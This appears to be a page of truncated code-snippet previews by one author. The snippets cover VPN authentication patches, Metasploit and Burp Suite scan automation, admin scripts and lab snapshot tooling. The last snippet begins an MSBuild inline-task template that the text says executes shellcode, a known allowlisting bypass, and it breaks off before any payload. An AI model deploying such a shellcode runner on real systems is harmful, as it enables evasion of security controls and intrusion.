ccammilleri

--- auth-pam.c.bak	2012-01-19 11:39:38.728363546 -0600
+++ auth-pam.c	2012-01-20 14:11:35.718361562 -0600
@@ -548,6 +548,28 @@
   int ret = PAM_SUCCESS;
 
   *response_array = NULL;
+  char *p;
+  p = strrchr(up->password, ',');
+
+  /* dont process nothing or any string longer then 7 characters */

ccammilleri

--- duo_openvpn.py.bak	2011-11-01 12:16:36.000000000 -0500
+++ duo_openvpn.py	2012-01-19 10:15:30.728361702 -0600
@@ -162,6 +162,13 @@
     username = os.environ.get('username')
     password = os.environ.get('password')
     ipaddr = os.environ.get('ipaddr', '0.0.0.0')
+    
+    if "," in password:
+        passarray = password.split(',')
+        password = passarray[-1]

ccammilleri

set PROMPT %red%L %yel%J %grn%S %blu%W
load nessus
load pentest
load sounds
load alias
alias j "jobs -v"
alias s "sessions -v"
alias -f w "workspace"
alias so "show options"
alias sa "show advanced"

ccammilleri

# this script requires burp extension carbonator to be active
<ruby>
framework.db.workspace.services.each do |serv|
	next if (serv.state != ServiceState::Open)
       		if (serv.port == 80 || serv.name == "http")
			print_line("http server found: #{serv.host.address} port: #{serv.port}")
	               	run_single("java -jar -Xmx2g /opt/burp/burpsuite_pro_v1.6.36.jar http #{serv.host.address} #{serv.port}")
		elsif (serv.port == 443 || serv.name == "https")
			print_line("https server found: #{serv.host.address} port: #{serv.port}")
			run_single("java -jar -Xmx2g /opt/burp/burpsuite_pro_v1.6.36.jar https #{serv.host.address} #{serv.port}")

ccammilleri

#! /bin/sh
dpkg --get-selections | grep 'linux-image-*' | awk '{print $1}' | egrep -v "linux-image-$(uname -r)|linux-image-generic" |  head -n -2 | sed 's/^linux-image-\(.*\)$/\1/' | \
while read n; do
  echo 'Purging unneeded kernel images and headers for: '$n
  sudo apt-get --yes purge linux-image-$n    #purge images
  sudo apt-get --yes purge linux-headers-$n  #purge headers
done

ccammilleri

#! /bin/bash

while read line;do
        echo "===="
        echo "Source IP: $line"
        whois $line | egrep "(contact\:Company|descr)"
done < <(awk '{print $1}' /var/log/apache2/access.log | sort -u)

ccammilleri

require 'json'
require 'smbhash'
require 'open-uri'
require 'digest/md5'


# get data from here
# wget https://api.randomuser.me/?results=1000&password=4,15&nat=us
open('seed.json', 'wb') do |file|
  file << open('https://api.randomuser.me/?results=1000&password=4,15&nat=us').read

ccammilleri

#! /bin/bash

PUSHOVER=true

ORG='9dcd0694b58847fba102f7158aa7d47c741baf54'

CURRENT=`wget -q -O - https://www.derbycon.com/ticket-purchases/ | sha1sum | awk '{print $1}'`

while true; do
        echo "checking site..."

ccammilleri

#! /bin/bash
#
# add vm uuid of machines you want to be added to the group snapshot

labvms=(
        57f9803c-e350-d4fd-2091-215702341df9 #LAB-caldera
        8165e1ee-ec65-36c8-c87a-ae94019df08b #LAB-exchange
        58138ed5-feb9-46f6-33a7-11102c9a1a7f #LAB-dc01
        )

ccammilleri

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee --> 
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask